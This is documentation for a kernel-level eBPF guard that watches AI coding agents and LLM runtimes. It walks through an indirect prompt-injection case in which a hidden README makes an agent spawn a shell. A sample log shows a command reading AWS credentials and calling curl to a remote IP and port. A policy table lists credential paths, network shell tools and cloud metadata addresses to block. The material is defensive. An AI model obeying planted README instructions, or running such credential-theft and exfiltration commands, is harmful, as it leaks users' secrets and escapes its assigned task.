Forensics & Defense·2 min read·docs/ai-agent-guard.md

AI-Agent Ring 0 Guard

Automatic Ring 0 discovery for Claude, Codex, Cursor, Ollama and MCP runtimes with 8 curated AI guard policies.

Interactive Guide LabAI coding agents, IMDS, GPU & MCP guard
Visual Isometric WalkthroughAI Platform & Security Engineers

Interactive Isometric Architecture Simulators

AI Agent Prompt Injection → Ring 0 eBPF Catch → Human Seal

Watch why prompt guardrails fail in Ring 3 while Tetragon eBPF + Human Seals hold at Ring 0.

Threat investigation guide →
RING 3 · AI / PROCUntrusted user spaceRING 0 · eBPFTetragon v1.8.0PQ ZERO-TRUSTML-DSA-65 + HPKEHUB · CEL & MCPGraphs & 23 toolsHUMAN SEALSHA-256 audit chainUNTRUSTED SHELL
Step 1 of 5 · Ring 3 Hijackinternal/domain/ledger/entry.go

Indirect prompt injection hijacks the coding agent

A developer AI agent clones an untrusted repo whose README contains hidden instructions. Text-level prompt filters fail; the agent spawns /bin/sh inside Ring 3.

Developer invariant · Anything running in the same LLM context as untrusted text can be manipulated. Security cannot depend on asking the model to behave.
Observed Ring 3 process spawn
parent: coding-agent (pid 4182)
child:  /bin/sh -c "python3 -c 'open("~/.aws/credentials")'"
        && curl 198.51.100.77:4444
guard:  RING 3 BYPASSED (hidden prompt inside cloned README.md)

Autonomous coding agents, LLM runtimes, and MCP tool bridges run in Ring 3 alongside user credentials, container sockets, and cloud metadata endpoints. Text-level prompt filters fail against indirect prompt injection. Ometsuke enforces an independent Ring 0 kernel boundary via Cilium Tetragon v1.8.0.

#Automatic Ring 0 Discovery (GET /api/v1/ai-agents)

Ometsuke continuously classifies running AI runtimes from kernel exec and kprobe lineage (including child shells spawned under an agent process):

  • Coding agents: Claude Code, OpenAI Codex, Cursor Agent, Aider, OpenCode, Goose, OpenClaw
  • LLM runtimes: Ollama, vLLM, LiteLLM, Triton, llama-server, TGI
  • MCP servers & orchestrators: mcp-stdio, mcp-server, LangGraph, CrewAI, AutoGen, LangChain

Every observed argument string is sanitized before storage and presentation. High-risk signals (host-credential-access, cloud-imds-ssrf, container-socket-access, mcp-config-write, child-shell-or-net-tool, outbound-tcp-egress, gpu-or-model-weight-touch) roll up onto the parent agent's risk score (0–100) and link directly to a sealed forensic SIGSTOP freeze action.

#Curated Starter Pack: ai-agent-runtime-guard (8 Policies)

All 8 policies ship in monitor mode first and validate against the pinned Tetragon v1.8.0 schema:

Policy IDKernel HookProtection Scope
ai-agent-credential-readsecurity_file_open~/.aws/credentials, ~/.ssh/id_*, ~/.kube/config, .env, LLM keys
ai-agent-shell-escapesecurity_bprm_checknc, ncat, socat, chisel, ngrok, cloudflared
ai-agent-imds-ssrftcp_connectCloud metadata IPs (169.254.169.254, 169.254.170.2, 100.100.100.200)
ai-agent-docker-socksecurity_file_opendocker.sock, containerd.sock, crio.sock, podman.sock
ai-agent-model-weight-tampersecurity_file_permissionWrites to .safetensors, .gguf, .onnx, .ckpt, .pt
ai-agent-gpu-hijacksecurity_file_open/dev/nvidia*, /dev/kfd, /dev/dri/renderD opened from /tmp or /dev/shm
ai-agent-mcp-config-tampersecurity_file_permissionWrites to mcp.json, claude_desktop_config.json, .cursor/mcp.json, .codex/config.toml
ai-agent-prompt-exfil-egresstcp_connectNon-standard egress ports (NotDPort 443/80/53) from curl, wget, python3, node

Pair the starter pack with the curated decision graph ai-agent-hijack (graphs/catalog/ai-agent-hijack.yaml) and inspect live posture from external AI SOC tools via the read-only MCP tool ai_agents_inspect.